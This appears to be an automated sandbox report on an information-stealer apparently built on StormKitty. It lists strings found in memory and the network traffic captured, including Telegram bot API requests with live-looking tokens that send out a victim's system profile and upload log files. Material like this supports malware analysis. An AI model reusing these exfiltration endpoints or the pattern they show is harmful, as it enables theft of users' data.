Source: 3ZCSmfAvnf.exe, 00000000.00000003.300862958.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301362834.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301103550.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300816109.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300889090.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300928231.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301290063.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300749050.000000001B439000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301319007.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300816109.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300839307.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300889090.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comC
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300862958.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301290063.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300839307.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comt;C
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301362834.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comx
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304371774.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.303470503.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304856592.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304017858.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.303424574.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304603087.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304998865.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305078004.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304321855.000000001B45B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304321855.000000001B45B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.304392273.000000001B45B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlp
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304545839.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comF
Source: 3ZCSmfAvnf.exe, 00000000.00000003.303722612.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comH
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304603087.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comTFB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304017858.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comX
Source: 3ZCSmfAvnf.exe, 00000000.00000003.304371774.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comh
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300231686.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/B
Source: 3ZCSmfAvnf.exe, 00000000.00000003.299810403.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/Fy
Source: 3ZCSmfAvnf.exe, 00000000.00000003.299810403.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/N
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300402184.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/h
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300104251.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300231686.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnH
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300104251.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300231686.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnN
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnX
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300167098.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300193376.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300276148.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnm
Source: 3ZCSmfAvnf.exe, 00000000.00000003.305838570.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 3ZCSmfAvnf.exe, 00000000.00000003.305808421.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305852103.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 3ZCSmfAvnf.exe, 00000000.00000003.305936495.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306132658.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306086196.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305961557.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305879417.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305906032.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306045358.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305808421.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.305852103.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.306171868.000000001B457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm(uB
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/.TTC
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/0
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/B
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/FC
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/X
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0X
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/h
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301949180.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jpB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301874626.000000001B437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/uB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301780994.000000001B43A000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.301692378.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/w
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 3ZCSmfAvnf.exe, 00000000.00000003.298553020.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comrr
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 3ZCSmfAvnf.exe, 00000000.00000003.302089348.000000001B438000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302160885.000000001B437000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302121138.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comwn
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 3ZCSmfAvnf.exe, 00000000.00000003.299253676.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.299227963.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.299206434.000000001B43B000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.299157278.000000001B43B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.net
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 3ZCSmfAvnf.exe, 00000000.00000003.303424574.000000001B437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.der
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300694643.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn.cnB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300694643.000000001B438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnB
Source: tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bs
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:82:
Source: wwst.exe, 00000003.00000002.576947702.0000000002A5C000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33
Source: wwst.exe, 00000003.00000002.576947702.0000000002A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org4
Source: wwst.exe, 00000003.00000002.576947702.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000002.576947702.0000000002D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: wwst.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: wwst.exe, 00000003.00000002.576947702.0000000002D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5292408150:AAGzl-7qXuunptMxPKE5a1UbO95MR0lQNc8/sendDocument?chat_id=5038
Source: wwst.exe, 00000003.00000002.576947702.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendDocument?chat_id=8062
Source: wwst.exe, 00000003.00000002.576947702.0000000002AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=80625
Source: wwst.exe, 00000003.00000002.576947702.0000000002AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botf
Source: 3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, wwst.exe, 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.00000000126C5000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.000000001260F000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	String found in binary or memory: https://api.telegram.org/file/bot
Source: wwst.exe, 00000003.00000002.576947702.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org4
Source: tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.592687805.000000001AF86000.00000004.08000000.00040000.00000000.sdmp, WindowsDataC.exe, 00000005.00000002.579786709.0000000012F0D000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKittyHnNl
Source: wwst.exe, 00000003.00000002.576947702.0000000002D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: 3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000002.576947702.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, wwst.exe, 00000003.00000002.576947702.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.00000000126C5000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.592687805.000000001AF97000.00000004.08000000.00040000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.000000001260F000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	String found in binary or memory: https://pastebin.com/raw/8u2AsgRy
Source: wwst.exe, 00000003.00000002.576947702.0000000002D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com4
Source: 3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, WindowsDataC.exe, 00000004.00000002.592687805.000000001AF9B000.00000004.08000000.00040000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.00000000126C9000.00000004.00000800.00020000.00000000.sdmp, wwst.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13
Source: wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: 207.189.1.0.in-addr.arpa

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202023-01-18%2011:37:17%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20114127%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20G13ZBYR4%0ARAM:%204095MB%0AHWID:%2050EDCA1BAB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%2084.17.52.5%0ABSSID:%2000:0c:29:82:cb:33%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%209%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2020%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /raw/8u2AsgRy HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown

HTTP traffic detected: POST /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendDocument?chat_id=806259874 HTTP/1.1Content-Type: multipart/form-data; boundary="5ecc7be7-1e9d-460c-9509-fd66a098cc43"Host: api.telegram.orgContent-Length: 136744Expect: 100-continue

